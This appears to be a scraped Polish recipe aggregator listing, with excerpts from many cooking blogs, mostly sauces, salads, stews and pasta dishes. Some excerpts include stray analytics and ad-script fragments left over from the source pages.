pieprzem, cukrem oraz sokiem z cytryny. Dodajemy przeciśnięty przez praskę niewielki ząbek czosnku, mieszamy. Na półmisku rozkładamy sałatę. Wykładamy na nią ogórka oraz kukurydzę i plasterki jajka. Całość zalewamy sosem. Posypujemy grzankami. Podajemy od razu po przygotowaniu

Smaki Na Talerzu
Sos karmelowy 184

tostów. Składniki 200 g dobrego masła 3/4 szklanki brązowego drobnego cukru 2 łyżki wody 1/4 łyżeczki soli 1/2-3/4 puszki mleka skondensowanego słodzonego W rondelku rozpuszczamy masło … Czytaj dalej Sos karmelowy

gotuj ze mną
Karkówka duszona z cebulą 185

odrobinę wody, sól oraz pieprz. Dusimy pod przykryciem około 15 minut, aż cebula całkowicie zmięknie. Na koniec dodajemy masło i takim oto sposobem powstaje nam pyszny i pełen smaku sos.  Karkówkę podałam z ziemniakami i przepyszną surówką, którą robimy razem z moim 4 letnim synkiem :) Wioleta Gargula

MamaOskarka
Beouf Stroganow. Strogonow z pieczarkami i ogórkami kiszonymi. 191

temperatury pozostałych składników potrawy). Gotować na wolnym ogniu pod przykryciem do czasu, aż mięso będzie miękkie (ok. 40 minut). Następnie wymieszać śmietanę z musztardą i z kilkoma łyżkami gorącego sosu i dodać do mięsa.  Doprawić solą, pieprzem i gotować jeszcze 10 minut. Beouf Stroganow podawać posypany natką pietruszki i ewentualnie płatkami chili. Smacznego

Codziennik Kuchenny
Ziemniaki inaczej, pyszne 218

naprawdę pyszne. Bardzo proste w wykonaniu, a zmienią obiad w bardzo wykwintny Ziemniaki obrać i przekroić na pół. Ugotować w osolonej wodzie do miękkości. Odcedzić i odparować. Przygotowanie sosu – do śmietany dodać pokruszoną kostkę rosołową, gałkę muszkatołową. Wymieszać i doprawić solą i pieprzem. Na patelni roztopić masło i obsmażyć pora. Por pokroić na kawałki 3 cm i przekroić wzdłuż

Kuchnia Pokoleń
szybkowar-policzki wieprzowe w sosie grzybowym ... 219

szybkowar spuści ciśnienie policzki wyjąć na talerz i i trochę grzybków do dekoracji do wywaru wsypać mąkę, pieprz mielony, wlać śmietanę i blenderem wszystko zmiksować, zagotować tylko do zagęszczenia sosu, podawać z ziemniakami tłuczonymi - policzki wieprzowe s,a bardzo delikatne, kruche zwłaszcza przygotowane w szybkowarze, grzyby nadają policzki smakowitości............SMACZNEGO

W Mojej Kuchni Lubię
sos beszamelowy 257

rozpuścić masło, dodać mąkę i zrobić zasmażkę, dość gęstą. Ciągle mieszając trzepaczką, wlać trochę mleka, wmieszać. Ponownie dolać mleka i je dokładnie wmieszać. Tak po trochu dolewać mleka, aż sos będzie miał konsystencję budyniu. Dodać sól, pieprz i gałkę muszkatołową

stajnia gołębie od kuchni
Śledzie z suszonymi pomidorami i orzechami 261

Wszyscy znamy tradycyjne śledzie z oleju w cebulce. Niektórzy lubią również śledzie w śmietanie, ale może warto spróbować śledzie z suszonymi pomidorami i orzechami. Swój niezwykły

Kulinarnyblog.pl - wiesz jak gotować!
Sałatka z kozim serem i figami 218

Sałatka z kozim serem i figami to idealne połączenie zarówno fig i koziego sera. Oba te składniki świetnie się ze sobą łączą, a ponadto pięknie komponują

Kulinarnyblog.pl - wiesz jak gotować!
Prosto z lasu na patelnię. Grzyby w śmietanie z kaszą [PRZEPIS] 157

grzyby zaczną się rumienić i pachnieć. Teraz do wszystkiego wmieszaj śmietanę, dopraw solą i pieprzem, dorzuć posiekaną natkę, zagotuj i trzymaj na ogniu przez około 5 min. Jeśli sos zrobi się za gęsty, dodaj wodę lub mleko. Gotowe! Wpis powstał przy współpracy z marką Intenson   Artykuł Prosto z lasu na patelnię. Grzyby w śmietanie z kaszą [PRZEPIS] pochodzi

Kulinarna Polska
Makaron w dyniowym sosie 182

przy nim od godziny. Słucham sobie nowo odkrytego mocnego pierd… znaczy się muzyki mocnej słucham w wykonaniu naszego rodzimego Huntera. Troll... Artykuł Makaron w dyniowym sosie pochodzi z serwisu gotować

gotować!
Kapusta włoska po młynarsku 555

robi się ją na ” krótko ” . Doskonale sprawdzi się jako danie główne u wegetarian , a także jako przystawka dla mięsożerców Pyszna o fajnej nie rozgotowanej konsystencji w kremowym sosie … Mniam .. Jesień ma swój czar Składniki : 1/2 główki, średniej, włoskiej kapusty 1 szklanka mleka 1 płaska łyżeczka , mielonej gałki muszkatołowej 2 łyżeczki cukru 2 łyżeczki granulowanego czosnku sól , pieprz

Ogrodnik w podróży
Bitki Drobiowe W Sosie Z Suszonych Grzybków 160

Propozycja na pyszny obiad :) Składniki dla 2-3 osób Sos: kilka suszonych grzybków (6-7 w tym kurki, borowik, prawdziwek, podgrzybek itp.) 2 szklani wody 1/2 główki cebuli lub 1 mała cebulka 1-2 ząbki czosnku 1 łyżeczka mąki pszennej 3-4 łyżki śmietanki 30-36% sól, pieprz natka pietruszki Bitki: 1 duża pierś z kurczaka mąką do obtoczenia sól

Gotowanie...to proste !
Pyszny sernik z czekoladową masą budyniową 219

Trudno wyobrazić sobie ważną uroczystość rodzinną czy święta bożonarodzeniowe bez przepysznego sernika na stole. Niezwykle smaczny jest nieco inny od tradycyjnego, sernik z budyniem czekoladowym. sernik

sierotka maRysia w kuchni
Cukinia na słodko w słoiku – cukinia jak ananas przepis 191

Cukinia to zdrowe warzywo, które można przyrządzić na wiele sposobów. Doskonale smakuje w postaci, cukiniowej tarty czy tradycyjnego leczo. Warto ją też zamarynować w słoiku, a

sierotka maRysia w kuchni
Pomidorówka naszej babci – zupa pomidorowa inaczej 174

Któż z nas nie zajada się przepyszną zupą pomidorową. Ta powszechnie znana zupa jest nie tylko przepyszna, lecz także bardzo zdrowa. Można ją przyrządzić na wiele

sierotka maRysia w kuchni
Poniedziałek: Kurczak w winie Elisabeth Taylor 140

Dekadenckie danie dla leniwych. Przy minimum pracy zrobicie aromatycznego kurczaka w lekkim sosie winnym. Czas przygotowania: Godzina Poziom trudności: bardzo łatwe Liczba porcji: 2 Uwielbiała jeść, bo generalnie uwielbiała życie. Stale była na diecie, przybywało jej kilogramów i znowu chudła, mówiła, że choć jest „gruba to momentalnie jest szczupła”. Elisabeth Taylor – ikona kina lat 50., zamężna osiem razy

Niedzielny kucharz
Cukinia z chilli do słoików , przetwory 195

innych warzyw , które jeszcze zalegają na grządkach i proszą o wykorzystanie Taka cukinia ze słoika stanowi wspaniałą bazę do różnych potraw . Można dodać podsmażoną pierś z kurczaka i powstanie sos do makaronu lub ryżu . Świetnie nada się także jako składnik warzywny do zapiekanek ziemniaczanych lub makaronowych . No i oczywiście po dodaniu smażonej kiełbasy będzie pikantne leczo lub wieprzowiny , wtedy zmieni

Ogrodnik w podróży
Paseczki omleta w sosie pomidorowym 148

wybrałam do pokazania pyszne danie, trochę jak szakszuka , ale taka po włosku. Smakuje wybornie, szybko się robi a delektować warto się rano, w południe czy wieczorem, zachęcam. Omlet w sosie pomidorowym po włosku. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
PIERŚ KURCZAKA W SOSIE Z MARCHEWKĄ I KOPERKIEM 613

warzyw dodaję mięso, całość zalewam bulionem i śmietanką, dodaję również przyprawy - słodką paprykę, curry i odrobinę soli. Zagotowuję. Gotuję na małym ogniu przez 10 minut. Na koniec do sosu wrzucam koperek, w razie potrzeby doprawiam do smaku

JejKuchnia
Pieczone ziemniaki z kalafiorem w sosie 169

ziołowej Knorra, dodajemy do smaku pieprz i ewentualnie sól.  Po zdjęciu z ognia dodajemy jogurt o temperaturze pokojowej. Dokładnie wszystko mieszamy. Na talerz wykładamy upieczone ziemniaki, kalafior z sosem i podajemy z dowolną surówką lub kiszonymi ogórkami

Kulinarne przemyslenia
aioli 252

kubka mleka Wszystko (oprócz mleka) wrzucić w wysokiego naczynia od blendera, blender włozyć, oprzeć o dno i zacząć miksować, aż powstanie emulsja. Powoli dodawać więcej oliwy uważając, żeby sos się nie rozwarstwił. Na koniec dodać mleko i zblendować. Gotowe

stajnia gołębie od kuchni
salsa brava 267

paprykę, przesmażyć, dodać mąkę i ponownie przesmażyć. Zdjąć z ognia. Wlać trochę bulionu i rozmieszać, dodać więcej bulionu i ponownie rozmiezać. Tak aż do końca, żeby uzyskać dośc zawiesisty sos. Posolić do smaku

stajnia gołębie od kuchni
Zapiekany makaron rigatoni 122

Jakiś czas temu znalazłam na Pinterest foto, na którym makaron rigatoni był poukładany w tortownicy, zalany sosem pomidorowym z mięsem mielonym i posypany żółtym serem – wszystko to zapiekane. Bardzo mi się spodobał ten pomysł, więc dziś na obiad podałam taki wymysł. Uwielbiam dania makaronowe i to rigatoni przebiło wszystko. Składniki 450 g mięsa […] Artykuł Zapiekany makaron rigatoni pochodzi

Pink Envelope
Burgery z buraków z sosem czosnkowym 109

Inspiracją do nich był sam burak, który leżał w lodówce już 3 dzień, a ja ciągle otwierając ją zastanawiam się, co też mogę […] Artykuł Burgery z buraków z sosem czosnkowym pochodzi z serwisu Pink Envelope

Pink Envelope
Spaghetti z pulpecikami z soczewicy 141

Spaghetti z pulpecikami z soczewicy czerwonej. Dobrze doprawione ziołami i chili, podgotowane w aromatycznym sosie pomidorowym, smakują przepysznie. Świeży tymianek na sam koniec i mamy spaghetti w wersji wegetariańskiej.   Składniki (na 2 porcje) 250g makaronu spaghetti Pulpeciki z soczewicy 250g soczewicy czerwonej 2 łyzki oliwy 1 cebula 2 ząbki czosnku 2 jajka 4 łyżki […] Artykuł Spaghetti z pulpecikami

Pink Envelope
Burgery z soczewicy i marchewki 119

mój świeży eksperyment, jeżeli chodzi o dania bezmięsne. Z podstawowych dodatków postawiłam na rukolę i ser pleśniowy, którym mogłabym zajadać się non stop. Do tego nie mogło zabraknąć sosu – przygotowałam pomidorowy. Przepyszna opcja nie tylko dla wegetarianów. Sądzę, że nawet Nam mięsożercom przyda się czasem coś innego, […] Artykuł Burgery z soczewicy i marchewki pochodzi z serwisu Pink Envelope

Pink Envelope
Gołąbki na odwrót w sosie pomidorowym 100

przed zepsuciem czegoś. No bo co bym później zrobiła z całą główką kapusty? Okazało się, że przygotowanie gołąbków na odwrót jest bardzo łatwe […] Artykuł Gołąbki na odwrót w sosie pomidorowym pochodzi z serwisu Pink Envelope

Pink Envelope
Lunch w słoiku – sałatka z ryżem i warzywami 112

piekarnika ma swoje plusy, bo pozwala mi na urozmaicenie przepisów sałatkowych na blogu. Sałatka z ryżem i warzywami będzie należeć chyba do moich ulubionych. Połączyłam ugotowany ryż z sosem pomidorowym, doprawionym świeżą bazylią. Przepyszny lunch, który można przełożyć do słoika lub innego naczynia i zabrać ze sobą w drogę. Dodatkowe składniki […] Artykuł Lunch w słoiku – sałatka z ryżem

Pink Envelope
Ryba w pomidorkach koktajlowych, czyli prawdziwe pyszności 137

stopni. Rybę umieszczamy w naczyniu żaroodpornym, na rybę wykładamy cebulkę z pomidorkami, całość polewamy sokiem z cytryny oraz winem. Pieczemy rybkę około 25 minut. Po upieczeniu ryby polewamy ją sosem, który powstał w trakcie pieczenia i czekamy jeszcze jedną minutkę, następnie serwujemy naszą rybkę, na przykład z surówką typu Colesław oraz z frytkami z piekarnika. Artykuł Ryba w pomidorkach koktajlowych

KulinarneImpresje.pl
Danie w stylu meksykańskim 186

Niedawno przygotowałam bardzo atrakcyjną przekąskę w stylu meksykańskim. W zasadzie wszystko miałam w domu (oprócz placków taco), ale te dostałam bez problemu w sklepie, więc mogłam

Tylko pysznie
Zapiekanka z tortelinii z nadzieniem szynki i sera 156

paprykę wrzucić na patelnię. Wlać pomidory z puszki i wodę. Dodać zioła, pastę curry. Doprawić do smaku solą i pieprzem. Gotować około 5- 7 minut. Fasolka musi zmięknąć. Do sosu dodać tortelinii i gotować jeszcze 3-4 minuty. Obsypać serem, przykryć przykrywką garnek i tak chwilkę potrzymać. Ser musi się roztopić. Smacznego

Kuchnia Pokoleń
„Szybki Włoch” makaron smażony z warzywami 179

makaron smażony z warzywami Szybki Włoch to pomysł , stworzony na potrzebę chwili . Głód wszystkim już w oczy zaglądał , więc była to jedna z najszybszych opcji obiadowych , bez tworzenia skomplikowanych sosów itp. Po prostu , wszystko co lubią domownicy wylądowało na patelni i zostało podsmażone . Do tego żeby było bardziej treściwie ,dołożyłam gotowany makaron , jakaś resztka dnia poprzedniego i gotowe . Wszystkim smakowało

Ogrodnik w podróży
Sos cebulowy ze śliwkami 127

razie potrzeby dolać trochę wody. Ślwiki przepołowić, wyjąć pestki. Ułożyć skórą do dołu. Chwilę dusić, aż śliwki troszkę zmiękną. Dodać 2 łyżki zimnego masła. Mieszając doprowadzić do wrzenia. Zdjać sos z ognia. Podałam ze stekiem z sarny i marszczonymi ziemniakami . *ja zamiast bulionu dodaję demi glace , oczywiście daję go dużo mniej, a resztę uzupełniam wodą. zastawa

królestwo garów
Cukinia po meksykańsku 180

Cukinia po meksykańsku Cukinia faszerowana mięsem mielonym, fasolką, papryką, ryżem oraz sosem pomidorowym i zapiekana pod pierzynką z żółtego sera to wspaniały pomysł na smaczny i szybki obiad lub przystawkę na przyjęcie. Polecam!     Składniki: 3-4 młode cukinie średniej wielkości 300g mięsa mielonego – wieprzowego 1 cebula 2 ząbki czosnku pół czerwonej papryki 1 pomidor pół szklanki kukurydzy konserwowej

Blog z Apetytem
przetwory - pomidory z bazylią 170

Sezon na przetwory się rozpoczął :) Co prawda dzięki Thermomix jest mi znaczni łatwiej, ale tradycyjnie jak najbardziej również się da.  Uwielbiam warzywne sosy, które ratują życie podczas zimowych dni. Wystarczy tylko otworzyć słoik i już możemy poczuć się jak w lecie - no może zapach jedynie nam w tym pomoże, ale zawsze. Ponieważ pomidory obrodziły to mogłam poszaleć.  Wystarczy

Gotowanie z pasją
przetwory - pomidory z bazylią 181

Sezon na przetwory się rozpoczął :) Co prawda dzięki Thermomix jest mi znaczni łatwiej, ale tradycyjnie jak najbardziej również się da.  Uwielbiam warzywne sosy, które ratują życie podczas zimowych dni. Wystarczy tylko otworzyć słoik i już możemy poczuć się jak w lecie - no może zapach jedynie nam w tym pomoże, ale zawsze. Ponieważ pomidory obrodziły to mogłam poszaleć.  Wystarczy

Gotowanie z pasją
Gulasz z karkówki z warzywami 219

gulasz z karkówki: Gulasz Z Karkówki Z Warzywami Karkówka Duszona Z Warzywami Gulasz Z Karkówki, Fasoli Mung I Soczewicy (443 Kcal) Piekielny Gulasz Z Fasolką Mung I Karkówką Sos Z Karkówki Gulasz Z Karkówką I Warzywami Karkówka Z Warzywami Artykuł Gulasz z karkówki z warzywami pochodzi z serwisu e-PrzepisyKulinarne.pl

e-PrzepisyKulinarne
Pieczeń z łopatki z kością 129

Moja mama zawsze powtarzała, mięso z kością jest dużo smaczniejsze jak bez. Taka pieczeń ma bardzo dobry smak, będzie pyszny obiadek. Mięso doprawić solą, pieprzem, papryką

Kuchnia Pokoleń
Mięsno-pomidorowy sos do makaronu 201

przepis, oczywiście z niezawodnej strony KwestiaSmaku. Nie czekając na chłopaka już wyjadłam całe.. pudełko :D Nawet nie marnując czasu, tak jak makaron był w lodówce, podgrzałam, dodałam gorący sos i starty ser. Pychota! Składniki 150 g makaronu 1 łyżka oleju 1/2 cebuli 1 ząbek czosnku 1 łyżeczka suszonego oregano 300 g mielonego mięsa (np. wieprzowego z łopatki lub karkówki

W kuchni bez szafek
Sos koperkowy 144

Klasyczny sos koperkowy z zasmażką. Można podawać go z gotowanym drobiem, pulpetami.... pełna łyżka masła, pełna łyżka mąki pszennej, 3 – 4 łyżki świeżego siekanego koperku, 250 ml rosołu lub wywaru z warzyw, 150 ml śmieatny 18%, sól, szczypta cukru, kilka kropel soku z cytryny, W garnku z grubym dnem stopić masło, dodać mąkę i dokładnie wymieszać aby nie było grudek

królestwo garów
Szakszuka z cukinią 177

Szakszuka (shakshuka) to jaja gotowane w pikantnym sosie na bazie duszonych warzyw takich jak: cebula, pomidory i papryka. Podstawową, moją wersję szakszuki przedstawiałam tutaj , gdzie przybliżyłam również krótką historię tego dania. Dzisiaj proponuję wersję z dodatkiem cukinii i przypraw, które bardzo z cukinią się lubią, czyli z tymiankiem i oregano. Szakszuka (czy to zwykła, czy też szakszuka z cukinią) jest

Moja Delicja
WĄTRÓBKA DROBIOWA Z SERCAMI w sosie z pieczarkami 193

Dzisiaj mam dla Was przepis na przepyszną wątróbkę z sercami w sosie z pieczarkami. SKŁADNIKI: 👌1 cebula 👌1 duża puszka pieczarek 👌mąka do obtaczania 👌1 ząbek czosnku 👌sól wg.uznania 👌1/4 łyzeczki pieprzu 👌1 kostka bulionowa 👌750 gr. drobiowej wątróbki z sercami 👌2 łyzki smietanykremówki 30% WYKONANIE: 👌👌👌👌👌👌👌👌👌👌👌👌👌👌👌👌👌👌 my social media: 🎬 YouTube   dla kreatywnych   🎬 YouTube Kulinarny 👫 Fanpage kulinarny ✏ Blog kulinarny

RITA food channel
Pulpety wieprzowe w koperkowym sosie 229

niego jajko, dodać startą cebulę, bułkę tartą - przyprawić solą, pieprzem i czosnkiem. Uformować kuleczki i włożyć do gotującego się bulionu. Gotować ok 25 min (obracając) na spokojnym ogniu. Sos zabielić śmietaną i mąką zagotować i już po wyłączeniu ognia wmieszać posiekany koperek...Można na końcu dodać kilka kropel cytryny

Gaździnka warzy
Sos miodowo musztardowy 387

hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi; mso-fareast-language:EN-US;}   Składniki na ok 200ml sosu:   3 pełne łyżki płynnego miodu ¼ szklanki musztardy Dijon 1 łyżka octu z białego wina 2 łyżki jogurtu naturalnego 2 łyżki oliwy z oliwek ½ łyżeczki tartego chrzanu Szczypta soli Świeżo mielony

Kuchnia w czekoladzie
Jajo sadzone na kanapce z guacamole 146

Uwielbiam takie śniadania czy to latem czy zimą. Ciepłymi kanapkami zapewniam sobie energię na długie godziny, polecam i Wam serdecznie. Guacamole to idealny sos do kanapek i jaja sadzonego, spróbujcie. Jajo sadzone i kanapki z guacamole - śniadanie mistrzów. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Papryka faszerowana 176

Papryka faszerowana To bardzo prosty, smaczny i w miarę szybki w wykonaniu pomysł na paprykę faszerowaną mielonym mięsem, ryżem i sosem pomidorowym. Polecam!     Składniki: 3- 4 papryki (mogą być różnokolorowe) 0,5 kg mięsa mielonego (użyłam wieprzowo-wołowego) 1 cebula 2-3 ząbki czosnku 2 pomidory 100g ryżu 1/3 szklanki bulionu lub wody 2 łyżki koncentratu pomidorowego

Blog z Apetytem
Sałatka makaronowa z brokułem 152

gotujemy na półtwardo w osolonym wrzątku z dodatkiem cukru (około 1 płaskiej łyżeczki). Szynkę kroimy w kostkę. Kukurydzę odsączamy z zalewy. Wszystkie składniki mieszamy ze sobą. Łączymy z sosem przygotowanym z połączenia jogurtu, majonezu, przeciśniętego przez praskę czosnku oraz soli i pieprzu

Smaki Na Talerzu
Piersi kurze w sosie musztardowo serowym 185

To danie możecie zrobić bez ziemniaków. Wersja bez ziemniaków to idealne danie na imprezę. Wykonanie tak samo tylko ominąć ziemniaki. Piersi kurze przekroić w poprzek, doprawić

Kuchnia Pokoleń
Relish z wiśni 108

Taki sos sprawdzi się zarówno do mięs jaki i .... można eksperymentować :) Składniki 1 kg wiśni 120 g małych cebulek 30 g korzenia imbiru 7 czubatych łyżek cukru 100 g miodu 8 goździków 3 łyżki octu z czerwonego wina 2 łyżki soku z cytryny 1 łyżka ziarenek gorczycy 1 łyzka marynowanego zielonego pieprzu 2 łyżeczki curry sól pieprz Przygotowanie Zagotowałem wydrylowane

R'n'G Kitchen
Koperek na zimę 205

osuszyć koperek. Po tym czasie siekamy drobno i umieszczamy w pojemniku. Całość mrozimy. Teraz gdy tylko przyjdzie nam ochota sięgamy po zamrożony koperek, czy to do ziemniaków, zupy, sosu czy sałatki. SMACZNEGO.  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Smaki Ewy
Pesto z bazylii 147

podpraż je przez kilka minut, powinny się delikatnie zrumienić. Następnie orzeszki z patelni wrzuć do blendera i dodaj resztę składników, zmiksuj na gładko, przypraw do smaku. Porady: jeżeli sos będzie zbyt gęsty to dodaj do niego nieco oliwy, jeśli zbyt rzadki – dorzuć parę listków bazylii lub parmezan i zmiksuj ponownie, powinno pomóc, SMACZNEGO Zainspirowana przepisem A. Starmach. Polecam PESTO

Zasmakuj Kuchni
FASOLKA PO BRETOŃSKU 188

odaję podsmażoną kiełbasę, boczek oraz cebulę. Doprawiam 2 łyżkami majeranku, szczyptą soli oraz pieprzem (wedle naszego uznania). Gotuję kolejną godzinę.  Na koniec dodaję koncentrat, gotuję 10 minut, aby sos zgęstniał. Ewentualnie doprawiam do smaku

JejKuchnia
Kurczak z mozzarellą w sosie pomidorowym 246

Pierś z kurczaka w sosie pomidorowym, z dodatkiem pomidorów koktajlowych, mozzarelli i świeżej bazylii. Prosty obiad w stylu włoskim. Kurczaka oczyścić, pokroić na mniejsze kawałki i natrzeć solą, pieprzem oraz

Bullio
Wiosenna sałatka obiadowa 232

przygotowaną sałatę i myślę, że i Wy ją polubicie… Przepis jest bardzo prosty. Wystarczy sałata (u mnie lodowa, ale zwykła,masłowa też się nada), ogórek, rzodkiewki i sos jogurtowy. Szybko, prosto i pysznie. Polecam jako dodatek do obiadu. 1 główka sałaty pęczek rzodkiewek 1-2 zielone ogórki mały kubeczek jogurtu naturalnego 1 łyżka majonezu szczypta ziół prowansalskich sól, pieprz

Smaki Na Talerzu
„Ekspresowa ” pasta jajeczna 156

pieprz do smaku (adsbygoogle = window.adsbygoogle || []).push({}); Jajka wkładamy do miski , doprawiamy solą , pieprzem , gałką . Dodajemy majonez i miksujemy blenderem na gładką pastę . Koniec , już gotowe Smakuje doskonale z każdym sosem np. tatarskim , na grzankach , kanapkach . Można ,również używać zamiast masła pod wędlinę , czy ser Lubię takie prościutkie przepisy z małą ilością składników ..nieprzekombinowane Smacznego ! Artykuł „Ekspresowa ” pasta jajeczna

Ogrodnik w podróży
Błyskawiczna sałatka grillowa. 219

zapakowane w małych saszetkach dressingi, to super sprawa, kiedy wybieramy się na piknik, lub przygotowujemy pudełkowe jedzenie do pracy. Wystarczy warzywa pokroić, przełożyć do pojemnika, przed samym podaniem polać sosem, delikatnie zamieszać i smak gwarantowany. Polecam :) Składniki - 3 duże pomidory - 1 cebula czerwona - pęczek zielonej cebulki - garść oliwek ( u mnie zielone z papryczka w środku ) - saszetka  dressingu jogurtowego

Kuchnia z widokiem na ogród
Tzatziki 136

sos uwielbia większość, my również. Kiedyś kosztowaliśmy go na przepięknej wyspie Kos i wyobraźcie sobie, że identyczny nam wyszedł. Składniki 500 ml jogurt 4 średnie ogórki gruntowe 2 ząbki czosnku 2 łyżki oliwy 5-6 listków mięty pół cytryny sól Przygotowanie Ogórki obrałem, starłem na tarce na grubych oczkach, przełożyłem na sitko, pos kigórki Ogórki obrałem, starłem na tarce

R'n'G Kitchen
Ajvar 176

Pyszny sos z papryki i bakłażana. Idealny dodatek do wszystkiego, do mięs, warzyw, jajek ;)  a nawet makaronu. Składniki: 2 czerwone papryki 1 bakłażan 1/2 łyżeczki chili mielonego 2 łyżki octu z czerwonego wina 1 łyżeczka miodu 1 ząbek czosnku sól i pieprz Przygotowanie: Piekarnik rozgrzewamy do 200 stopni. Papryki i bakłażana układamy skórką do góry na blaszce wyłożonej papierem

Życie zaczyna się w kuchni
Dip ogórkowy z miętą 230

smak lubimy. Dodać jogurt naturalny i sok z limonki. Całość dokładnie wymieszać i doprawić do smaku solą i pieprzem, soli nie za dużo bo ogórki były wczesniej solone. Gotowy sos odstawić do lodówki na ok 30-60 minut aby smaki się przegryzły

Monia miesza i gotuje
Hańdyk we bazyliowo-pistacjowyj zōłzie (Indyk w sosie bazyliowo-pistacjowym) 195

potrza? 1 kg piersi ze hańdyka gorść12 listkōw bazyli gorść pistacjōw zōmbek czosku 3 łeżki whisky abo kōniaku sōl […] Artykuł Hańdyk we bazyliowo-pistacjowyj zōłzie (Indyk w sosie bazyliowo-pistacjowym) pochodzi z serwisu Chop w kuchni

Chop w kuchni
makaron z tuńczykiem w śmietanie #MasterTuńczyk 196

właśnie to danie. Coś dla smakoszy owoców morza i wszelakich ryb w każdym wydaniu :D Makaron z tuńczykiem w śmietanie - palce lizać! Składniki: * 1 puszka tuńczyka w kawałkach w sosie własnym Princes        * 30 dkg makaronu * 150 ml śmietany 30% * 1 mała cebula * 3 ząbki czosnku * sól, pieprz- najlepiej świeżo zmielony * odrobina oleju * natka z pietruszki, bazylia

Pieprzyć z Fantazją
Pierogi z farszem z dorsza i łososia 183

Pierogi z rybą? Też podchodziłam do tego dania dość sceptycznie, póki nie skosztowałam. Pyszne, delikatne, a dodatek sosu chrzanowego dopełnia wysublimowaną smakowo całość. Farsz na pierożki przygotowałam z dorsza z dodatkiem łososia, by przełamać nie tylko smak, ale nadać trochę koloru pierogom. Ryby wcześniej ugotowałam w bulionie, ale można zrobić je również ze zmielonej lub drobno pokrojonej surowej ryby

Gotuj zdrowo!Guten Appetit!
Podpłomyki 164

również upiec w piekarniku na mocno rozgrzanym kamieniu do pizzy. W plenerze przy ognisku i na grillu?   Też można! W każdych warunkach zdołamy je upiec. Zajadałam z pysznym sosem, oto moja propozycja: 2 ząbki czosnku, 2 łyżki oliwy, 1 papryka żółta, czerwona czy zielona, 1 mała puszka pomidorów bez skórki, sól, pieprz, Świeże zioła, każdego po kilka gałązek: oregano

Leśny Zakątek
Spaghetti z pesto (pesto alla genovese) 235

liście bazylii, następnie uprażone orzeszki piniowe, a na koniec ser. Dolewamy oliwę z oliwek i ewentualnie doprawiamy jeszcze solą i pieprzem. Makaron gotujemy al dente, odcedzamy i mieszamy z sosem. Przekładamy na talerz i posypujemy parmezanem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Szparagi w makaronie na pesto z groszku i rukoli → Piersi z kurczaka z orzechowo-pietruszkowym

Oryginalny smak
Sos paluszkowy 185

Wiecie, że lubimy zaskakiwać nowymi pomysłami. Tym razem postanowiliśmy wykorzystać paluszki. Bardzo prosty w przygotowaniu sos z paluszków, świetnie komponuje się z mięsem wieprzowym. Składniki 500 ml bulionu warzywnego 50 g solonych paluszków sól, pieprz Przygotowanie P Paluszki rozdrabniamy na mniejsze kawałki, zalewamy gorącym bulionem, czekamy aż napęcznieją. W razie potrzeby uzupełniamy bulion. Następnie blendujemy na gładką masę, podgrzewamy

R'n'G Kitchen
Zielone szparagi i jogurtowy dip z czosnkiem niedźwiedzim 194

czosnkiem niedźwiedzim. Dip na bazie jogurtu doprawiony miodem i musztardą z posiekanymi listkami czosnku niedźwiedziego jest rewelacyjny, do tego bardzo fit. Nie ma porówniania z kalorycznym, szparagowym klasykiem, sosem holenderskim. Zapraszam na szparagowa ucztę! Składniki: 500 g zielonych szparagów sól, pieprz 1 łyżka masła klarowanego 100 ml białego wina Składniki na dip jogurtowy: 200 g jogurtu greckiego 1 łyżeczka musztardy

Gotuj zdrowo!Guten Appetit!
TZATZIKI 163

Tzatziki - grecki sos na bazie jogurtu , czosnku i  zielonych ogórków. Idealny do letnich potraw, grillów i pikników. Uwielbiam... Składniki:  600 g jogurtu typu grecki - ja używam z biedronki  2 świeże ogórki ok. 250 g  50 ml oliwy z oliwek 2 ząbki czosnku 1 łyżeczka octu winnego sól pieprz biały  Sposób przyrządzenia:  Ogórki zetrzeć

pieprzny smaczek
Kiełbasa w sosie chrzanowo smietanowym 277

się zarumieni, następnie dać marchew i paprykę – mieszać. Do warzyw dodać chrzan i śmietankę i dopraw solą i pieprzem. Wymieszaj. Kiełbase ponacinać i ułożyć naczyniu i zalać sosem z warzywami, na koniec posypać startym żółtym serem i zapiekać ok 20 minut

Moje Wyroby
Sałatka z truskawkami 315

jadłam połączenie truskawek z sosem balsamicznym i rukolą, było to zaserwowane jako starter w jakiejś restauracji. Długo za mną chodził ten smak. Gdy zobaczyłam truskawki w sklepie stwierdziłam, że muszę wypróbować. Sałatka ta powstała poprzez połączenie kilku przepisów jakie znalazłam w internecie. I powiem wam, że jak dla mnie to wyszła super. W zasadzie chyba nie tylko mi smakowała

Mam apetyt na ...
Sałata z dressingiem cytrynowym. Sałata do obiadu. 254

pieprzu Przygotowanie: Umytą i osuszoną sałatę rozłożyć na dużym talerzu. Czosnek obrać i drobno posiekać. Do niewielkiego słoiczka przełożyć wszystkie składniki dressingu. Zamknąć słoik i potrząsać do uzyskania jednolitego sosu. Polać liście sałaty dressingiem. Smacznego

Codziennik Kuchenny
Kurczak z kurkami, kasztanami i kukurydzą w sosie śmietanowym 212

Dziś coś co można podać z makaronem lub ryżem czyli kurczak w sosie śmietanowym z kurkami, kasztanami i kukurydzą. Szybki obiad to coś co lubię, nie trzeba dużo czasu a jak smakuje. Szkoda tylko, że była to ostatnia porcja kurek jaką wygrzebałam z zamrażarki. Mam nadzieję, że w tym roku kurki obrodzą i zrobię zapasy. A jeśli jesteście ciekawi jakie

Ewa w kuchni
Skrzydełka w chrupiącej panierce z grilla 208

składników do marynaty odmieni Waszą potrawę. Na blogu znajdziecie też przepisy na proste sałatki, które idealnie będą się komponować z pieczonymi skrzydełkami . Składniki skrzydełka 4 łyżki oliwy 2 łyżki sosu sojowego 1 łyżka miodu ząbek czosnku szczypta oregano zioła prowansalskie sól pieprz Skrzydełka w chrupiącej panierce z grilla – przepis Skrzydełka z kurczaka dokładnie myjemy, a następnie osuszamy ręcznikiem papierowym

Kulinarnyblog.pl - wiesz jak gotować!
Makaron ryżowy z łososiem 188

